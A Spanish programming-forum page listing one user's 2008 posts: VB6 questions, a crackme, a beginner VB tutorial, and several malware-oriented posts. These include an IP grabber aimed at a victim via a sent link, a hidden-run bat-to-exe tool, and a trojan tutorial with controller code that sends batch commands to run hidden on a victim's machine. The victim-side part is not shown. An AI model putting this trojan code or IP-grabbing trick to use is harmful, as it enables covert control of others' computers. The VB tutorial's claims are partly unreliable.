Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - krackwar

#2
Programación Visual Basic / VB en win vista 64 bits
15 Diciembre 2008, 18:34 PM
Hola ,

No e podido instalar el VB6 en este win ( no tengo otro ) ,alguna idea para instalarlo ????

#3
Ingeniería Inversa / Tcrackme
14 Diciembre 2008, 05:01 AM
Tcrackeme V0.1

Lenguaje de programacion:asm
Reto: Hacerle un keygen
Dificultad: 3/10 (es facil)

Descargar
#4
Una imagen vale mas que mil palabras

Edit: se me olvido poner la imagen xD
#5
eso es como se metia asm en vb que no me acuerdo xD
#6
Wola , estoy postiando esta ves para preguntar cuales son los paremetros de printf y scanf ya que e buscado y buscado los parametros y no los encuentro  :xD y sin los parametros no puedo declarar la api.
#7
Bueno , discutiendo con 3 personas me decian que batch es un lenguaje y yo les decia que no.Quiero que en este tema den sus opiniones y porfavor den razones.
#8
Programación Visual Basic / ASM en VB
9 Julio 2008, 23:21 PM
Bueno , luego de buscaar por 10000 millones de parte encontre la forma de meter code en asm en un proyecto en VB les dejo un link donde lo explican mejor.

http://vbfibre.persistentrealities.com/index.php?category=0&item=5&t=asm
#9

Estaba viendo felismente el foro y de repente miro y ya no esta la barra mostrar nuevas respuestas a tus mensajes la eliminaron???
#10
Hola ,estaba haciendo una practica para un troyano web que estoy haciendo y la primera practica que hice para interectuar con el navegador fue un averiguador de ip.
El funcionamiento es simplecito , por si alguien le sirve de algo lo posteo.

Descargar

PD:Viene con el source

EDIT: Se me olvido explicar como se usa :xD :xD . Es simple le pones al boton empezar 
y luego a la persona que le quieras averiguar la ip le emvias un link asi:

Http:\\miip(en miip hay iria la ip de nosotros)
y listo.
#11
Bueno , como dice el titulo no sirve mi ver nuevas respuestas a tus mensajes.Ya que no me da las verdaderas respuesta por ejemplo me dice que es nuevo un post de K A T S de como ase 2 dias y lo e leido ya 4 veces y es el mismo . E visto nuevos post en temas que e publicado y no me las muestra , es problema mio o del foro?
#12
SHNI BatToExe 1.0


SHNI BatToExe 1.0
SHNI BatToExe 1.0 es una herramienta elaborada en el laboratorio de eduhack.es capaz de pasar archivos bat a exe. A esta función se le añade tambien la posibilidad de compilar el bat de forma que el exe se ejecute de forma oculta.




Características:

  • Permite compilar cualquier bat a exe.
  • Permite ejecutar en modo oculto.
  • Un único ejecutable.

    Links de descarga:
    www.eduhack.es/descargas/SHNI_BatToExe.rar
    Saludos
#13
bueno, e estado viendo i probando como abrir archivos i leerlos con api's pero no me a resultado nadaaa :(¿alguien me pudiera ayudar por favor?
s4lu2!
#14
unaa preguntaa zoi yo el que se fumo algo o emverdad eliminaron la sección de webmaster i modificaron la de programacion???????
s4lu2!
#15

Introducción
-----------------------------------------------------------------
*Primero q todo este es mi primer curso entonces me disculpan si se me olvida algo o comento algún error. Este curso esta enfatizado para la gente con ganas de aprender.

*Segundo se iran poniendo los temas por ver en cada entrega, como esta es la primera solo se veran estos    temas y así vamos agrandando temas y demás

*Tercero para los q le ha gustado esta idea y quieren participar favor hacérmelo saber mi msn es ruben_molga1@hotmail.com


-----------------------------------------------------------------
1.2 Que es Visual Basic
-----------------------------------------------------------------

Visual Basic es un lenguaje de programación de bajo nivel, fácil de usar, práctico este lenguaje se guía por eventos que son las acciones tomadas por sus osarios tales como:

-hacer un clic en un punto determinad o
-oprimir un botón...


Características Generales de Visual-Basic

Visual-Basic es una herramienta de diseño de aplicaciones para Windows, en la que estas se desarrollan en una gran parte a partir del diseño de una interface gráfica. En una aplicación Visual Basic, el programa está formado por una parte de código puro, y otras partes asociadas a los objetos que forman la interface gráfica.

Es por tanto un termino medio entre la programación tradicional, formada por una sucesión lineal de código estructura do, y la programación orientada a objetos. Combina ambas tendencias. Ya que no podemos decir que VB pertenezca por completo a uno de esos dos tipos de programación, debemos inventar una palabra que la defina: PROGRAMACI ON VISUAL.

La creación de un programa bajo Visual Basic lleva los siguientes pasos:

Análisis. Es el estudio de las necesidades s que han dado origen a la creación de ese programa.     

Es lo que se    llama Análisis de la aplicación. Es la primera fase que debe tener siempre un programa y es también la más olvidada entre los programado res noveles.      Una aplicación no se inicia con el teclado, sino sobre un papel.     

- Creación de una interfase de usuario. Este interface será la principal vía de comunicación hombre máquina, tanto para salida de datos como para entrada.

Será necesario partir de una o varias ventanas      - Formulario s - a las que le iremos añadiendo los controles necesarios.

- Definición de las propiedades de los controles - Se dará la forma,

Posición, y todas las características necesarias a los controles que hayamos colocado en ese formulario. Estas propiedades determinarán la forma estática de los controles, es decir, como son los controles y para qué sirven.

- Generación del código asociado a los eventos que ocurran a estos controles.

A la respuesta a estos eventos (click, doble click, una tecla pulsada, etc.) le llamamos Procedimiento, y deberá generarse de acuerdo a las necesidades del programa.

- Generación del código del programa. Un programa puede hacerse solamente con la programación de Los distintos procedimientos que acompañan a cada objeto.

Sin embargo, VB ofrece la posibilidad de establecer un código de programa separado de estos eventos. Este código puede introducir se en unos bloques llamados Módulos, en otros bloques llamados Funciones, y otros llamados Procedimientos. Estos Procedimientos no responden a un

Evento acaecido a un control o formulario, sino que responden a un evento producido durante la ejecución del programa.

No es necesario entender de momento lo anterior. Visual Basic introduce un concepto nuevo de programación, y es necesario cambiar hasta el argot del programado r. Posiblemente se le habrán
Acumulado demasiados términos de una sola vez. Es normal. A poco que siga leyendo verá las cosas mas claras cuando se explique una por una.


Algunas reglas o Normas para ser un buen Programador

1. Contemplar todas las posibilidades que tiene el usuario

2. Suponer que el usuario intentara hacer fallar el sistema

3. El programa de be ser lo mas sencillo posible para el usuario haci sea muy complicado para el programador

4. Todo programa debe ser agradable a la vista




-----------------------------------------------------------------
2-Estructura de un proyecto
-----------------------------------------------------------------
Aqui veremos los significados de las diferentes estructutar de un proyecto para VB

- Módulos de formulario
Los módulos de formulario tienen la extensión .frm pueden contener declaraciones de formulario de constantes, variables y procedimientos externos, así como procedimientos de evento y procedimientos generales.

-Módulos de clase
Los módulos de clase tienen la extensión .cls son similares a los    formulario, excepto en que no tienen interfaz de diseño. La utilidad de este modulo es por ejemplo si necesitan hacer determinada accion en varios formularios y para no alargar todo y copiar esa accion en todos los formularios solo basta con    agregar    un modulo y poner hay lo q necesiten.

-Módulos estándar
Los módulos estándar tiene la extensión .bas pueden contener declaraciones públicas o a nivel de módulo de tipos, constantes, variables, procedimientos externos y procedimientos públicos.


-----------------------------------------------------------------
3- Variables
-----------------------------------------------------------------

Las variables en Visual Basic se pueden utilizar sin necesidad de declararla s.
Hay dos tipos de variables las LOCALES q son aquellas que unicamente son reconocidas dentro de una funcion o procedimiento

Ejemplo: sub btn_calcular.click()
                                 sp=form1.txt_n1 +form1.txt_n2
                            end sub

La variable "sp" solo sera reconocida dentro del procedimiento bnt_calcular.click ()

GLOBALES: Este tipo de variables si son reconocida s en cualquier función o dentro de

Cualquier procedimiento.
Estas variables necesitan declaración, para declarar una variable debe especificarse su tipo y su tamaño

El nombre de una variable:

         * Debe comenzar con una letra.
         * No puede incluir un punto o un carácter de declaración de tipo.
         * No debe exceder de 255 caracteres.
         * Debe ser única en el mismo alcance, que es el intervalo desde el que se puede hacer


DECLARACIO N DE VARIABLES

DIM
Para declarar una variable por medio de la instrucción Dim:
Esta es la forma mas comun de declarar una variable puede usarse en un Procedimiento, formulario, modulo en una funcion

Sintaxis :
Dim nombrevariable As tipovariable

PRIVATE
Es la forma de declarar un variable como privada, solo se puede usar en un formulario o modulo

Sintaxis:
PRIVATE nombrevariable As tipo


GLOBAL
al declara una variable como Global significa q puede ser usada en todo el programa y solo puede usarse en el modulo

Sintaxis:
Global nombrevariable As tipo


PUBLIC
Puede declarase una variable como publica y se usa en un formulario o mudulo

sintaxis:
PUBLIC nombrevariable As tipo


FORMA DE DECLARA VARIAS VARIABLE AL MISMO TIEMPO

La forma correcta de declara varias variables en una sola linea es      asi :

DIM variable1 AS String, variable2 As byte,variable3 AS date ......         

-----------------------------------------------------------------
3.1-TIPOS DE VARIABLES
-----------------------------------------------------------------


Las variables pueden ser de los siguientes tipos: (El número indicado en segundo lugar indica el número de Bytes que ocupa en memoria.)


Nombre                            Bytes             Explicacion

Booleana                  (2)      Admite los valores 0 y 1, o True (verdadero)                                                               
                                                                     False    (falso)
Byte                                 (1)    Números enteros, en el rango de 0 a 255
Integer                        (2)    Números enteros en el rango de -32768 a 32767
Long                           (4)      Números enteros en el rango de -2147483648 a             2147483647
Single                           (4)      Punto flotante, simple precisión
Doble                               ()         Punto flotante, doble precisión.
Currency                   ()      Entero, con punto decimal fijo(Típico de monedas)
String                           (*)      Cadenas alfanuméricas de longitud variable o fija
Date                                 ()         Fechas
Objet                            (4)      Referencia a objetos
Variant                      (**)    Otros tipos de datos

(*) Una variable tipo String ocupa el mismo número de bytes que caracteres tenga la cadena.
(**) Una variable tipo Variant ocupa 16 bytes si se trata de un número y 22 bytes + longitud de la cadena si se trata de un dato tipo cadena de caracteres .








-----------------------------------------------------------------
4-Diagramas de flujo
-----------------------------------------------------------------

Los diagramas de flujo son una representacion grafica de una secuencia logica de un proceso que conlleva ala solucion de un problema.

Todo diagrama debe tener un inicio y un final, no puede existir
una salida incompleta


Comparadores

En casi todos los procesos es necesario hacer comparaciones
con los siguientes    símbolos :

=                           igual                               <,<=               menor o igual
>                        mayor q                   <>                        diferencia a
<                        menor q                   >,>=               mayor o igual
and                        y                                        or                               o


      TABLA DE LA VERDAD and y or

                  AND                                                                         OR
                                                                                                                                                               
      P      Q               P a Q                                    P      Q          P v Q                                                                             
      V      V    =          V                                             V      V               V                                                           
      V      F    =          F                                              V      F               V                                                               
      F      V    =          F                                              F      V               V                                                           
      F      F    =          F                                              F      F                  F                                                                                                         

               
    CONTADORES Y ACUMULADOR ES

Cuando los diagramas son repetitivo s puede ser necesario el uso
de contadores :

      CONT=CONT+1

Todo contador o acumulador debe iniciarse o declararse      en "0" cero





                                                                                                                                               
-----------------------------------------------------------------
5-SENTENCIAS CONDICIONA LES
-----------------------------------------------------------------

Ahora explicaremos la instruccion IF


la intruccion if hace ciertas acciones dependiendo de la respuesta del caso

SINTAXIS:

                               IF instruccions THEN
                           Instrucciones    (si es verdadero)         
                      ELSE                   (si es falso)     
                           instrucciones     
                                 End if


en caso opcional de respuesta negativa y se necesita preguntar otra vez en ese mismo IF solo se tendria q utilizar ELSEIF

Ejemplo :

      If Form1.Text1 = 1 Then
      Form1.Text2 = 2
      ElseIf Form1.Text1 = 3 Then
      Form1.Text2 = 4
      End If

hay se esta diciendo si el textbox1 es "1" entonces en el textbox2 muestre "2" y sino si el textbox1 es "3" entonces muestre "4" en el texbox2

Las cláusulas Else y ElseIf son opcionales. Puede tener en un bloque ElseIf, tantas cláusulas If como desee, pero ninguna puede aparecer después de una cláusula Else. Las instrucciones de bloque If se pueden anidar; es decir, unas pueden contener a otras.









-----------------------------------------------------------------
SELECT CASE
-----------------------------------------------------------------
El CASE permite ejecutar una instruccion de varios grupos, segun la exprecion

Sintaxis:
Case 1
      Instrucciones a ejecutar en caso de que variable = 1
      Case 2
      Instrucciones a ejecutar en caso de que variable = 2
      Case 3
      Instrucciones a ejecutar en caso de que variable = 3
      Case 4
      Instrucciones a ejecutar en caso de que variable = 4
      Case Else
      Instrucciones a ejecutar en caso de que variable sea distinta a los          valores anteriores
      End Select




-----------------------------------------------------------------
6-SENTENCIAS DE BUCLES
-----------------------------------------------------------------


LOS BUCLES

Es muy común utilizar bucles a lo largo de un programa. Un bucle es una sucesión repetitiva de instrucciones, que se estarán realizando mientras se cumpla una condición o mientras no se cumpla otra condición.    Es tan sencillo como esto:

Explicación:

      Mientras    condición

      Instrucciones

      Fin del bucle

Existen dos formas de bucle: Una, que realiza un número determinad o de recorridos por el bucle.

Es el denominado bucle por contador. Otra, realiza el bucle hasta que se cumpla (o deje de cumplirse) una condición. Es el llamado bucle por condición.

Bucle por contador

Realiza el bucle tantas veces como le indiquemos. Por ejemplo, en    este bucle nos va a presentar las 26 letras mayúsculas del alfabeto    inglés

      For    N=65 To 90
      Label1.caption = Chr ( N )
      Next N

Este "programa" nos presentará en una caja    (Label) los caracteres cuyo número ASCII vaya desde el 65    (A) al 90    (Z)      Comenzará presentando el correspondiente al número 65, e irá presentando sucesivamente el 66, el 67, etc., hasta llegar al 90, donde se parará.



      Bucles por condición

Ejecuta las instrucciones del bucle mientras se cumple una condición

      X = 0     
      Do While X < 1000
      X = X + 1
      Loop

El programa toma una variable ( X ) que previamente tuvimos la curiosidad de ponerla a cero,    e incrementa su valor una unidad. Analiza si el valor de X es menor que 1000, y si es cierto, vuelve a realizar el bucle. Así hasta que X ya no sea menor que 1000. Al dejar de cumplirse que X sea menor que 1000, sale del bucle.    Acabamos de realizar un temporizad or , y también de exponer las sentencias condiciona les y los bucles, inicio de cualquier curso de Basic. Como final de lección, se propone un problema.    Con el primer bucle, donde visualizábamos los caracteres A a la Z, posiblemente no nos diese tiempo de ver cada una de las letras que iban apareciendo en la pantalla, en la etiqueta Label1, dado que cambiaría con mucha velocidad, y solamente veríamos la Z, que es donde se detuvo el programa. Podemos poner un temporizad or cada vez que presente una letra, y así nos dará tiempo a verla. Con los dos bucles vistos anteriormente ya podemos hacerlo.


Si lo que queremos es que el programa se ejecute mientras no se cumpla una determinad a condición, la sentencia será:

      X = 0     
      Do Until X > 1000
      X = X + 1
      Loop

Observe que la diferencia entre una y otra es la condición,     

While    para indicar Mientras se cumpla que ...     

y     

Until    es para indicar    Mientras no se cumpla que ....

Para terminar bien el programa anterior utilizaremos la condición de While    (Mientras se cumpla la condición)



      For    N=65 To 90
      Label1.caption = Chr ( N )
      Label1.RefreshN             ' Refresca la etiqueta
      X = 0     
      Do While X < 1000
      X = X + 1
      Loop
      Next N


-----------------------------------------------------------------
7-Teoria y algunas opciones
-----------------------------------------------------------------

El formulario

Todas las aplicacion para win se basan en ventanas. Si programa en VB, diseñara ventanas y les asignara funciones, Una ventana en fase de diseño en Visual se llama "form" o "formulario ". Para diseñar el formulario es necesario utilizar las herrmienta s q se encuentran a la izq

Iniciar

para hacer correr el programa hay q precionar un boton parecido al de play de una grabadora o con teclado con F5, para detenerlo y volver al metodo diseño solo hay q presionarl e stop


Mayusculas y minusculas

Visual basic no distingue entre mayusculas y minusculas . Puede escribir los comandos como desee, el mismo Visual se encarga de de acomodar todo


Completar automatica mente

Visual Basic tiene la opcion de autocomple tar para ahorar tiempo y para si al escribir en

"form1." el "." se le despliega una lista es porq lo esta haciendo bien y si no sale es por algun error de escritura


Eliminar elementos

No se tal vez no deberia mencionar esto pero es por si alguien no sabe como eliminar un objeto del modo de diseño:

*seleccione el elemento y presione del o supr

*tenga en cuenta q se borra el objeto (ya sea boton, label ..),pero no se borra el codigo de este


Incrustacion de comentarios

la incrustacion de comentarios se usan para dejar notas, explicaciones o alguna cosa para recordar y se hace con el signo ' y al poner esto significa q el programa ignora el texto de esa linea y vuelve las letras de    verde    para diferenciar del resto de codigo.




-----------------------------------------------------------------
8-Practica
-----------------------------------------------------------------

Bueno ya basta de tanta teoria y vamos a la practica y con esto podran entender mas. El programa q vamos a hacer a continuación es algo muy facil donde a mostrar y agregar formularios, hacer    varias operaciones, interactuar entre formularios

Empezemos primero hay q abrir un nuevo proyecto,exe estandar





después tenemos q arreglar nuestro diseño agregandole 5 labels, un textbox y un boton (le pondremos de nombre ¡ir") de las herramientas de la parte izquierda

Figura 1




Figura 2




ueno después vamos para el menú proyecto>agregar formulario y agregamos 4 formularios (como lo ven en la figura 2 en la parte de formularios) y le ponemos lo siguiente

Figura 3




y asi en parecido en todos los demas formularios(los nombres de los botones no se cambian para mayor facilidad) no mas q en el otro en vez de sumar se resta y en otro se multiplica y en otro se divide.

Ya un vez tenido los 5 formularios listos guarden (yo guarde los formularios como el form2:suma y asi el resto (miren la figura 2, haci les debio quedar)

Una vez ya tengamos todos los formularios listo nos vamos para el primer frm y le damos doble clic al boton q creamos con el nombre "ir" e introdcimos el siguiente codigo:


Private Sub ir_Click()
If Form1.txt1 = 1 Then
      Form2.Show 1
ElseIf Form1.txt1 = 2 Then
      Form3.Show 1
ElseIf Form1.txt1 = 3 Then
      Form5.Show 1
ElseIf Form1.txt1 = 4 Then
      Form4.Show 1
      End If
End Sub


Hay le estamos    diciendo q si en el trxt1 (osea el textbox) le dan un 1 entonces muestre el formulario 2 y si le dan un 2 q muestre el formulario 3 y asi sucesivamente. Después de eso probamos haber si nos sirve espichando "F5" lo q hace es q pone en funcionamiento el programa y probamos si muestra los demás formularios.

Boton aceptar

Si nos salio bien entonces podemos seguir para el siguiente paso q es modificar el formulario de suma, le damos doble click al boton de aceptar    y le ponemos el siguiente codigo:

Private Sub Command1_Click()
Form2.txt3 = Int(Form2.txt1) + Int(Form2.txt2)
End Sub

"Claro q eso de private sub y end sub no se lo deben poner ya q el visual lo hace automáticamente"

Hay estomos diciendo q en el textbox 3 van a ir los resultados del textb1 y el textb2, el int q se le agrega es para q el resultado lo vuelva en enteros pera poderlos sumar(es muy importante poner el "int" cuando se vayan a hacer operación).


Boton Cancelar

Solo se le tiene q agregar:

Private Sub Command2_Click()
Unload Me         'o para q se vea mejor solo "end"
End Sub

Esto hara cerrar la ventana

Boton Sumar otro

Si hizo un boton de sumar otro, q lo q hace es borrar los textboxs solo hay q agregarle esto.

Private Sub Command3_Click()
Form2.txt1 = ""
Form2.txt2 = ""
Form2.txt3 = ""
Form2.txt1.SetFocus
End Sub

Después lo probamos si suma y le agregamos lo mismo a los demas formularios no mas q en el boton aceptar en vez del signo " + " se le cambia por el de resta o por cualquier operación q se le quiera hacer


Opcional 1

Si queremos agregarle cosas opcionales por lo menos un msgbox ( aunq no lo hemos visto se le puede agregar) para q diga "si desea cerrar el programa" o "si quiere hacer otra operación"

Se pondría haci:

Private Sub Command2_Click()
Unload Me
n = MsgBox("Desea cerrar?", vbOKCancel + vbCritical + vbDefaultButton2)
End Sub


Opcional 2

La opcional 2 es si se quiere al digitar los numeros para hacer la operación se cambien automáticamente de arriba hacia abajo

En el evento keypress del primer textbox se le agrega esto

Private Sub txt1_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Form2.txt2.SetFocus
End If
End Sub




Al texbox2 esto

Private Sub txt2_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
Form2.txt2.SetFocus
End If
End Sub



y listo pruebenlo

espero k les sirva de ayuda
#16
Programación Visual Basic / bug en el vb6
25 Abril 2008, 21:00 PM
bueno , el otro dia programando en vb6 encontre un bug que aunque es algo simple es un bug al fin i al cabo bueno este bug consiste en la funcion "environ" ,miren prueben esto i veran como no les permite compilar.

private sub form_load()
dim variable as string
variable = "environ("windir")"
end sub

bueno , este bug consiste en que no te deja guardar esta funcion en texto plano
s4lu2!
#17
buen , nesesito saber si alguien sabe como se puede hacer un programa tipo regedit ,algun manual un code cualquier cosa sirve
gracias de antemano
s4lu2!
#18
bueno , en un momento de aburrimiento me puse a hacer esto que es un programa que obtiene informacion importante de windows ,bueno la novedad de esto es que trabaja a traves del registro,osea obtiene la carpeta de window , nombre del registrante ,etc.. . todo a taves del registro
link:   http://rapidshare.com/files/106505179/informacion.rar.html
#19
ola,bueno abro este tema para hacer una sugerencia a ver si les gusta ,la sugerencia es que se agregue una nueva regla que diga que si alguien abra 3 temas distintos i que estos ya se allan ablado en otros 3 temas sea el usuario baneado por x tiempo i si esto se repite se el usuario sea baniado para siempre.Esta sugerencia es por que con solo darse una vuelta por el foro veriamos muchos temas que ablan de lo mismo especialmente el de troyanos y virus ej:
#20
Programación Visual Basic / [proyecto]p2p
7 Abril 2008, 23:41 PM
bueno ,eso como el titulo dice tengo la idea de crear un p2p,si ya se este tema se ablado mucho pero a diferencia de los demas yo tengo una idea de com hacerlo
idea:
bueno la idea es que el p2p tenga una carpeta donde esten los archivos ,los nombres de estos sean guardados en un .txt i este sea emviado a un ftp i este sea guardado con nombre de la direccion ip entonces cada ves que alguien busque un programa busque en los .txt i si exite el archivo vea si la ip esta disponible i si lo esta descargue el archivo
bueno acepto ayudas e ideas
#21
bueno con este manual planeo enseñar como crear un troyano de dificultad media con conocimientos basicos:
materiales:
  • CSocketMaster descargar aqui
  • visual basic 6
  • Ganas de aprender
    partes
    bueno un troyano consta de dos partes ;un servidor que es el que recibe la victima i el cliente que es el que tiene el infectante.
    1ª_parte
    Cliente
    bueno empesaremos a programar el cliente.
    Con el vb6 abierto apretaremos las teclas ctrl + t nos aparesera una ventana de los componentes ai seleccionaremos la casilla de microsoft winsock 6 i presionaremos aceptar , despues de esto se nos agregara un icono con 2 computadores en la barra de herramientas(la que esta en la izquierda) este es el winsock , lo agregaremos al form i luego le cambiaremos el nombre que es "winsock1" a "ws" sin las comillas(esto se hace para abreviar).Luego agregaremos un frame(este se agregara ya que para hacer mas ordenado el troyano i ponerle mas opciones lo dividiremos en frames) i un commandbuton fuera del frame , en las propiedad de visible del frame pondremos false i en la propiedad caption del commandbuton i del frame pondremos "conexion" (sin las comillas)  , luego dentro del evento click del command1 pondremos
    Código (vb) [Seleccionar]
    frame1.visible = true osea el code completo del programa seria
    Código (vb) [Seleccionar]

    Private Sub Command1_Click()
    Frame1.Visible = True
    End Sub

    luego agregaremos en el frame1 un textbox ,dos commandbuton , un timer con la propiedad enabled = falsei un label ,en el command2 pondremos en la propiedad caption "conectar"(sin las comillas) , en el command3 en la propiedad caption pondremos "desconectar"(sin las comillas) i en la misma propiedad del label1 pondremos "estado:"(sin las comillas) .
    la parte grafica debe estar quedando mas o menos asi.

    Aora empesaremos a programar la conexion , bueno , aora en el evento ConnectionRequest del ws pondremos
    Código (vb) [Seleccionar]
    On Error Resume Next 'esto es para que en un error prosiga i no pare
    ws.Close 'cerramos la conexion
    ws.Accept requestID 'acepta cualquier conexion entrante
    timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
    timer1.Enabled = True 'abilitaremos el timer1

    luego pondremos en el evento timer del timer1 el siguinte codigo:
    Código (vb) [Seleccionar]
    If ws.State = 0 Then
    Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
    ws.Close 'cerramos la conexion
    ws.Listen 'escuchamos
    End If ' teminamos el if
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
    If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado
    esto es para que si no estamos conectados se conecte i que ponga en que estado estamos en el label1.
    bueno con esto ya tenemos mas del 50% de la conexion que es lo principal de un troyano.
    aora en el evento click del command2 que es el que dice conectar pondremos
    Código (vb) [Seleccionar]
    On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
    ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
    ws.Close                                                            'cierra cualquier conexion que alla con este programa
    ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
    esto ara que si apretamos ese boton se ponga a la escucha del puerto que emos introducido en el textbox1 (ai que meter el puerto antes de apretar este boton).Aora en el command3 en el evento click ponemos:
    Código (vb) [Seleccionar]
    If ws.State = 7 Then 've si estamos conectados
    ws.Close ' si estamos conectados nos desconecta
    Else
    MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
    End If 'teminamos el if

    bueno con esto ya tenemos la conexion del cliente i ya que mi ultimo programa fue el osiris 2.0 [creador de bats remoto] le pondremos la caracteristica de crear bats = que con el osiris , pero primero pondre como esta quedando el code :
    Código (vb) [Seleccionar]

    Private Sub Command2_Click()
    On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
    ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
    ws.Close                                                            'cierra cualquier conexion que alla con este programa
    ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
    End Sub



    Private Sub Command3_Click()
    If ws.State = 7 Then 've si estamos conectados
    ws.Close ' si estamos conectados nos desconecta
    Else
    MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
    End If 'teminamos el if
    End Sub

    Private Sub Timer1_Timer()
    If ws.State = 0 Then
    Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
    ws.Close 'cerramos la conexion
    ws.Listen 'escuchamos
    End If ' teminamos el if
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
    If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado


    End Sub

    Private Sub ws_ConnectionRequest(ByVal requestID As Long)
    On Error Resume Next 'esto es para que en un error prosiga i no pare
    ws.Close 'cerramos la conexion
    ws.Accept requestID 'acepta cualquier conexion entrante
    Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
    Timer1.Enabled = True 'abilitaremos el timer1
    End Sub


    bueno aora haremos el creaador de bats remoto.
    primero que nada agregaremos otro frame fuera del frame 1 luego dentro de la propiedad visible del frame2 pondremos false i en la propiedad caption de este pondremos bats remotos luego agregaremos otro commandbuton fuera del frame i en la propiedad caption pongan "bats" (sin las comillas) i en el evento click del command4 ponemos
    Código (vb) [Seleccionar]
    Frame1.Visible = False ' ocultamos el frame1
    Frame2.Visible = True ' mostramos el frame2

    i en el evento click del command1 ponemos
    Código (vb) [Seleccionar]
    Frame2.Visible = False ' ocultamos el frame2
    Frame1.Visible = True ' mostramos el frame1

    osea el code de estos dos botones queda asi:
    Código (vb) [Seleccionar]
    Private Sub Command1_Click()
    Frame2.Visible = False ' ocultamos el frame2
    Frame1.Visible = True ' mostramos el frame1
    End Sub
    Private Sub Command4_Click()
    Frame1.Visible = False ' ocultamos el frame1
    Frame2.Visible = True ' mostramos el frame2
    End Sub
    bueno aora vamos a lo que importa ,en el frame 2 le agregamos un textbox grande con las propiedades ScrollBars = 3-both i multiline = true , luego ponemos un commandbuton en el frame 2 con la propiedad caption "crear" , luego le agregamos en el frame2 dos optionbutton , en el option1 le ponemos en la propiedad caption = "visible" i en el option2 ponemos "oculto"
    deberia estar quedando mas o menos asi:

    bueno suponiendo que saben ya algo de vb6 aunque sea lo basico de aqui en adelante me voi a explicar como que le ablara a alguien que sabe.
    Bueno sigamos el manual , declaramos la variable global "vista" tipo string(sin las comillas) i en el evento click del option1 pones
    Código (vb) [Seleccionar]
    vista = "true" ' cambiamos la variable vista a true
    i en el evento click del option2
    Código (vb) [Seleccionar]
    vista = "falso" ' cambiamos la variable vista a falso
    luego declaramos la variable global separador tipo string i en el evento load del form ponemos
    Código (vb) [Seleccionar]
    separador = "@^^^%/()!||||¿?¿?¿?_--" ' esto es para separar los datos que emviemos(no es nada mas que un texto plano
    luego en el evento click del command5 ponemos ponemos
    Código (vb) [Seleccionar]
    ws.senddata text2.text & separador & vista ' emviamos lo escrito en el text2 i la variable vista
    bueno asta aca el codigo completo seria
    Código (vb) [Seleccionar]

    Dim separador As String
    Dim vista As String


    Private Sub Command1_Click()
    Frame2.Visible = False ' ocultamos el frame2
    Frame1.Visible = True ' mostramos el frame1
    End Sub

    Private Sub Command2_Click()
    On Error Resume Next                                      'esta linea sirve para que en caso de error siga el programa en la siguiente linea sin interrumpirlo
    ws.LocalPort = Text1.Text                              'el puerto que empleara el winsock sera el que introduzcas en un textbox
    ws.Close                                                            'cierra cualquier conexion que alla con este programa
    ws.Listen                                                           'deja ala escucha el puerto introducido en el textbox
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado es conectando pone en el label1 estado:conectando
    End Sub



    Private Sub Command3_Click()
    If ws.State = 7 Then 've si estamos conectados
    ws.Close ' si estamos conectados nos desconecta
    Else

    MsgBox "no puedes desconectarte si no estas conectado", vbCritical, "error!" ' de lo contrario aparece un mensage
    End If 'teminamos el if
    End Sub

    Private Sub Command4_Click()
    Frame1.Visible = False ' ocultamos el frame1
    Frame2.Visible = True ' mostramos el frame2

    End Sub


    Private Sub Command5_Click()
    ws.SendData Text2.Text & separador & vista
    End Sub

    Private Sub Form_Load()
    separador = "@^^^%/()!||||¿?¿?¿?_--"
    End Sub

    Private Sub Option1_Click()
    vista = "true"
    End Sub

    Private Sub Option2_Click()
    vista = "falso"
    End Sub

    Private Sub Timer1_Timer()
    If ws.State = 0 Then
    Label1.Caption = "estado:desconectado" 'si el estado del ws es desconectado ponemos en el label1 estado:desconectado
    ws.Close 'cerramos la conexion
    ws.Listen 'escuchamos
    End If ' teminamos el if
    If ws.State = 2 Then Label1.Caption = "estado:conectando" 'si el estado del ws es conectando ponemos en el label1 estado:conectando
    If ws.State = 7 Then Label1.Caption = "estado:conectado" 'si el estado del ws es conectado ponemos en el label1 estado:conectado


    End Sub

    Private Sub ws_ConnectionRequest(ByVal requestID As Long)
    On Error Resume Next 'esto es para que en un error prosiga i no pare
    ws.Close 'cerramos la conexion
    ws.Accept requestID 'acepta cualquier conexion entrante
    Timer1.Interval = 1000 'le pondremos de intervalo 1 segundo al timer 1
    Timer1.Enabled = True 'abilitaremos el timer1
    End Sub
#22
bueno,quiero saber si ai un modo para que si ejecuto un comando en una cmd con shell(cmd comando) i luego ponga shell(cmd comando2) los dos comandos me aparescan en la misma cmd ya que si lo ago como lo puse ai se me abren 2 cmds distintos
gracias de antemano
#23
bueno el otro dia buscando cosas para VB encontre este visor de api's ,viene con el source code i todo para que vean como se usan ,bueno les dejo el link
descargar
